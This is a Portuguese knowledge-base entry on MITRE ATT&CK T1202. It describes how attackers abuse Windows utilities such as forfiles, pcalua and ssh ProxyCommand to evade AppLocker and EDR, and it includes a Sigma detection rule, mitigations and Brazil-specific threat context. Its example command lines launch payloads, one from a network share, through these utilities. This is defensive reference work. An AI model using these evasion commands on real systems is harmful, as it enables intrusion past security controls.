# T1202 - Indirect Command Execution
## Descrição
Adversários podem abusar de utilitários nativos do Windows que permitem execução de comandos como forma de contornar restrições de segurança que limitam o uso direto de interpretadores de linha de comando como `cmd.exe` ou `powershell.exe`.
Diversas ferramentas legítimas do Windows podem invocar a execução de programas e comandos sem acionar diretamente os interpretadores tradicionais - que frequentemente são monitorados por EDRs, políticas de Grupo (GPO) e soluções de controle de aplicações como AppLocker. Ao encadear a execução através de utilitários confiáveis e amplamente autorizados, o adversário mascara a atividade maliciosa como uso legítimo de ferramentas do sistema operacional.
Esta técnica se enquadra em [[ta0005-defense-evasion|TA0005 - Defense Evasion]] e é frequentemente combinada com [[t1059-command-and-scripting-interpreter|T1059 - Command and Scripting Interpreter]] para criar cadeias de execução indireta que dificultam a atribuição e a detecção.
## Como Funciona
O princípio central é delegar a execução de comandos ou processos a um utilitário nativo do sistema que:
1. É amplamente confiável e autorizado em políticas de controle de aplicações
2. Não aciona as regras de monitoramento voltadas a `cmd.exe` ou `powershell.exe`
3. Pode aceitar parâmetros que resultem na execução de código arbitrário
**Principais utilitários abusados:**
| Utilitário | Mecanismo de abuso |
|------------|-------------------|
| `forfiles.exe` | Parâmetro `/c` executa comando por arquivo encontrado; pode invocar `cmd /c` indiretamente |
| `pcalua.exe` | Program Compatibility Assistant; parâmetro `-a` executa um arquivo arbitrário |
| `scriptrunner.exe` | Executa scripts em contexto de compatibilidade; aceita caminhos arbitrários |
| `bash.exe` (WSL) | Windows Subsystem for Linux permite execução de comandos Linux no contexto Windows |
| `ssh.exe` | Opções `ProxyCommand` e `LocalCommand` (via flag `-o` ou arquivo de configuração SSH) executam comandos arbitrários ao estabelecer conexões |
| `wsl.exe` | Invocação direta do ambiente Linux integrado; pode chamar binários Windows via `/mnt/c/` |
| `msiexec.exe` | Pode instalar pacotes MSI remotos com código malicioso embutido |
| `cmstp.exe` | Instala perfis de Connection Manager; aceita arquivos INF com seções de execução |
**Fluxo típico com `forfiles.exe`:**
```
forfiles /p C:\Windows\System32 /m notepad.exe /c "cmd /c malware.exe"
```
Neste exemplo, o processo pai registrado pelo sistema é `forfiles.exe` - um binário legítimo - e não `cmd.exe`, dificultando a correlação por regras de detecção baseadas em processo pai.
**Fluxo com `pcalua.exe`:**
```
pcalua.exe -a \\servidor\share\payload.exe
```
O `pcalua.exe` é invocado pelo Windows para verificar compatibilidade de aplicações antigas e é raramente monitorado em ambientes corporativos.
**Fluxo com `ssh.exe` via ProxyCommand:**
Adversários podem modificar o arquivo `~\.ssh\config` para incluir uma diretiva `ProxyCommand` que execute código malicioso sempre que uma conexão SSH for iniciada, encadeando o abuso com [[t1546-event-triggered-execution|T1546 - Event Triggered Execution]].
## Attack Flow
```mermaid
graph TB
A[Acesso Inicial - Phishing / Exploit] --> B[Payload entregue ao endpoint Windows]
B --> C{Restrição de cmd.exe / PowerShell detectada}
C -->|AppLocker / GPO bloqueando shells| D[Identificar utilitário proxy disponível]
D --> E{Escolha do vetor indireto}
E -->|LOLBin| F[forfiles.exe / pcalua.exe / scriptrunner.exe]
E -->|WSL| G[bash.exe / wsl.exe]
E -->|SSH| H[ssh.exe com ProxyCommand]
F --> I[Execução de payload via processo pai legítimo]
G --> I
H --> I
I --> J[Bypass de regras de detecção baseadas em cmd.exe / powershell.exe]
J --> K[Persistência / Movimentação Lateral / Exfiltração]
K --> L[Evasão de Defesa - TA0005]
```
## Exemplos de Uso
**Lazarus Group**
O [[g0032-lazarus-group|Lazarus Group]] (APT norte-coreano) documentadamente utiliza técnicas de execução indireta para contornar restrições em ambientes corporativos altamente monitorados, incluindo alvos no setor financeiro brasileiro. O grupo frequentemente encadeia utilitários nativos do Windows para minimizar a presença de artefatos em disco e evitar correlações de linha de comando.
**RedCurl**
O grupo [[g1039-redcurl|RedCurl]], especializado em espionagem corporativa, utiliza execução indireta como parte de sua cadeia de infecção furtiva. A técnica complementa o uso de scripts legítimos do Windows para coletar e exfiltrar documentos corporativos sem acionar alertas de execução de shell.
**Cenário prático - bypass de AppLocker com forfiles:**
Em um ambiente com AppLocker configurado para bloquear execução de `cmd.exe` por usuários comuns, um adversário usa `forfiles.exe` (que tipicamente está na lista de exceções) para invocar indiretamente um payload, registrando o processo pai como o binário legítimo.
**Cenário com SSH ProxyCommand:**
Modificação do arquivo de configuração SSH do usuário para que qualquer conexão SSH dispare a execução de um script malicioso via `ProxyCommand`, criando um mecanismo de persistência e execução encadeado a uma atividade legítima.
## Detecção
```yaml
title: Indirect Command Execution via Windows LOLBins
status: experimental
logsource:
category: process_creation
product: windows
detection:
selection_forfiles:
Image|endswith: '\forfiles.exe'
CommandLine|contains:
- '/c '
- 'cmd'
- 'powershell'
- 'wscript'
- 'cscript'
selection_pcalua:
Image|endswith: '\pcalua.exe'
CommandLine|contains: '-a '
selection_scriptrunner:
Image|endswith: '\scriptrunner.exe'
selection_ssh_proxy:
Image|endswith: '\ssh.exe'
CommandLine|contains:
- 'ProxyCommand'
- 'LocalCommand'
condition: 1 of selection_*
level: high
tags:
- attack.defense_evasion
- attack.t1202
```
**Estrategias de detecção complementares:**
- **Árvore de processos** - identificar processos filhos de `forfiles.exe`, `pcalua.exe`, `scriptrunner.exe` que invocam shells ou executáveis de diretórios temporários
- **Linha de comando** - monitorar parâmetros suspeitos em utilitários de compatibilidade (pcalua, scriptrunner) com caminhos de rede (`\\`) ou diretórios `%TEMP%`
- **Modificação de arquivos SSH config** - alertar sobre gravações em `~\.ssh\config` por processos não esperados
- **Subsistema Linux** - monitorar criação de processos via `bash.exe` ou `wsl.exe` com execução de binários Windows (`/mnt/c/`)
- **Script Block Logging** - habilitar para capturar conteúdo de scripts invocados indiretamente
> **Nota de contexto:** A ausência de mitigações específicas no MITRE para T1202 reflete a dificuldade inerente - a maioria dos utilitários envolvidos são componentes legítimos do sistema operacional, e bloqueá-los pode impactar operações normais.
## Mitigação
Não há mitigações diretas catalogadas pelo MITRE ATT&CK para T1202, dada a natureza dos utilitários envolvidos (binários nativos do Windows). As abordagens recomendadas são compensatórias:
| Abordagem | Descrição |
|-----------|-----------|
| Monitoramento de comportamento | Priorizar detecção sobre prevenção; monitorar cadeias de processo anômalas envolvendo LOLBins |
| Restrição via AppLocker/WDAC | Considerar bloqueio de `pcalua.exe`, `scriptrunner.exe` e `forfiles.exe` em estações de trabalho onde esses utilitários não são necessários para operação |
| Auditoria de SSH config | Monitorar modificações em arquivos de configuração SSH de usuários; alertar sobre diretivas `ProxyCommand` |
| Isolamento de WSL | Desabilitar o Windows Subsystem for Linux em endpoints onde não há necessidade operacional |
| EDR com análise comportamental | Soluções de EDR modernas detectam execução indireta pela análise da cadeia de processos e não apenas pelo nome do processo pai |
## Contexto Brasil/LATAM
A execução indireta de comandos é amplamente utilizada em ataques direcionados ao Brasil e à América Latina, especialmente em campanhas contra o **setor financeiro**, **governo** e **infraestrutura crítica**, onde políticas de controle de aplicações (AppLocker, WDAC, soluções de controle de endpoint) são mais comuns.
O [[g0032-lazarus-group|Lazarus Group]], com histórico documentado de ataques ao sistema financeiro brasileiro (incluindo operações contra o Banco Central), utiliza técnicas de LOLBins e execução indireta como parte de sua métodologia de intrusão furtiva. O grupo [[g1039-redcurl|RedCurl]] também tem presença documentada na América Latina com foco em espionagem corporativa.
No contexto de grupos de ransomware que operam no Brasil - como os afiliados do [[lockbit|LockBit]] e [[blackcat|ALPHV]] - a execução indireta é frequentemente utilizada na fase de pós-comprometimento para contornar EDRs instalados em ambientes corporativos brasileiros antes da fase de criptografia.
**Implicação prática para SOCs brasileiros:**
- Regras de SIEM focadas apenas em `cmd.exe` e `powershell.exe` são insuficientes
- É necessário construir lógica de detecção cobrindo toda a cadeia de LOLBins documentada
- O Sysmon com configuração abrangente (incluindo Eventos 1, 3 e 7) é a base recomendada
## Referências
- [[t1059-command-and-scripting-interpreter|T1059 - Command and Scripting Interpreter]] - Técnica relacionada frequentemente encadeada
- [[t1574-001-dll|T1574.001 - DLL Search Order Hijacking]] - Outra técnica de evasão via binários legítimos
- [[t1546-event-triggered-execution|T1546 - Event Triggered Execution]] - Combinada com SSH ProxyCommand para persistência
- [[g0032-lazarus-group|Lazarus Group]] - Ator de ameaça com uso documentado desta técnica
- [[g1039-redcurl|RedCurl]] - Grupo de espionagem corporativa com uso desta técnica
- [[ta0005-defense-evasion|TA0005 - Defense Evasion]] - Tática MITRE ATT&CK desta técnica
---
*Fonte: MITRE ATT&CK - T1202*